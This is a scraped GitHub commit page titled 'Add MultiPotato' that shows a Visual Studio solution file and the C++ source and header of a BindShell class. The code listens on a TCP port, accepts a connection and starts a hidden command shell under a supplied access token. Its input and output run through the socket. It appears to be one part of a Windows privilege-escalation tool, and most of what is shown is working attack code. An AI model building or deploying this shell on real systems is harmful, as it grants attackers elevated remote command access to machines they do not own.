-
Notifications
You must be signed in to change notification settings - Fork 164
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add MultiPotato
- Loading branch information
Showing
37 changed files
with
2,217 additions
and
0 deletions.
There are no files selected for viewing
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
|
||
Microsoft Visual Studio Solution File, Format Version 12.00 | ||
# Visual Studio Version 16 | ||
VisualStudioVersion = 16.0.29230.47 | ||
MinimumVisualStudioVersion = 10.0.40219.1 | ||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MultiPotato", "MultiPotato\MultiPotato.vcxproj", "{61CE6716-E619-483C-B535-8694F7617548}" | ||
EndProject | ||
Global | ||
GlobalSection(SolutionConfigurationPlatforms) = preSolution | ||
Debug|x64 = Debug|x64 | ||
Debug|x86 = Debug|x86 | ||
Release|x64 = Release|x64 | ||
Release|x86 = Release|x86 | ||
EndGlobalSection | ||
GlobalSection(ProjectConfigurationPlatforms) = postSolution | ||
{61CE6716-E619-483C-B535-8694F7617548}.Debug|x64.ActiveCfg = Debug|x64 | ||
{61CE6716-E619-483C-B535-8694F7617548}.Debug|x64.Build.0 = Debug|x64 | ||
{61CE6716-E619-483C-B535-8694F7617548}.Debug|x86.ActiveCfg = Debug|Win32 | ||
{61CE6716-E619-483C-B535-8694F7617548}.Debug|x86.Build.0 = Debug|Win32 | ||
{61CE6716-E619-483C-B535-8694F7617548}.Release|x64.ActiveCfg = Release|x64 | ||
{61CE6716-E619-483C-B535-8694F7617548}.Release|x64.Build.0 = Release|x64 | ||
{61CE6716-E619-483C-B535-8694F7617548}.Release|x86.ActiveCfg = Release|Win32 | ||
{61CE6716-E619-483C-B535-8694F7617548}.Release|x86.Build.0 = Release|Win32 | ||
EndGlobalSection | ||
GlobalSection(SolutionProperties) = preSolution | ||
HideSolutionNode = FALSE | ||
EndGlobalSection | ||
GlobalSection(ExtensibilityGlobals) = postSolution | ||
SolutionGuid = {A694ADAA-6E50-45F0-8643-B93982C04683} | ||
EndGlobalSection | ||
EndGlobal |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
#include <WS2tcpip.h> | ||
|
||
#include "Bind.h" | ||
#include <stdio.h> | ||
#pragma comment(lib, "Ws2_32.lib") | ||
|
||
BindShell::BindShell() | ||
{ | ||
|
||
} | ||
|
||
BindShell::~BindShell() | ||
{ | ||
WSACleanup(); | ||
} | ||
|
||
int BindShell::Run(unsigned short port, HANDLE token) | ||
{ | ||
WSADATA WSAData; | ||
SOCKADDR_IN sin; | ||
SOCKET sock; | ||
|
||
if (!WSAStartup(MAKEWORD(2, 0), &WSAData)) | ||
{ | ||
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); | ||
sin.sin_family = AF_INET; | ||
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); // INADDR_ANY | ||
sin.sin_port = htons(port); | ||
|
||
if (!bind(sock, (SOCKADDR*)&sin, sizeof(SOCKADDR_IN))) | ||
{ | ||
listen(sock, SOMAXCONN); | ||
|
||
SOCKET tmp = accept(sock, 0, 0); | ||
STARTUPINFO si = { 0 }; | ||
PROCESS_INFORMATION pi = { 0 }; | ||
wchar_t buff[2010]; | ||
|
||
si.cb = sizeof(si); | ||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; | ||
si.wShowWindow = SW_HIDE; | ||
si.hStdOutput = (HANDLE)tmp; | ||
si.hStdError = (HANDLE)tmp; | ||
si.hStdInput = (HANDLE)tmp; | ||
|
||
GetEnvironmentVariable(L"COMSPEC", buff, 2000); | ||
|
||
bool b1 = CreateProcessWithTokenW(token, | ||
0, | ||
buff, | ||
NULL, | ||
CREATE_NEW_CONSOLE, | ||
NULL, | ||
NULL, | ||
&si, | ||
&pi); | ||
|
||
|
||
if (b1) | ||
{ | ||
printf("[*] BindShell opened on Port %d !\n", port); | ||
} | ||
|
||
WaitForSingleObject(pi.hProcess, INFINITE); | ||
|
||
CloseHandle(pi.hProcess); | ||
CloseHandle(pi.hThread); | ||
|
||
closesocket(tmp); | ||
} | ||
} | ||
|
||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
#pragma once | ||
|
||
class BindShell | ||
{ | ||
public: | ||
BindShell(); | ||
~BindShell(); | ||
|
||
int Run(unsigned short port, HANDLE token); | ||
}; |
Oops, something went wrong.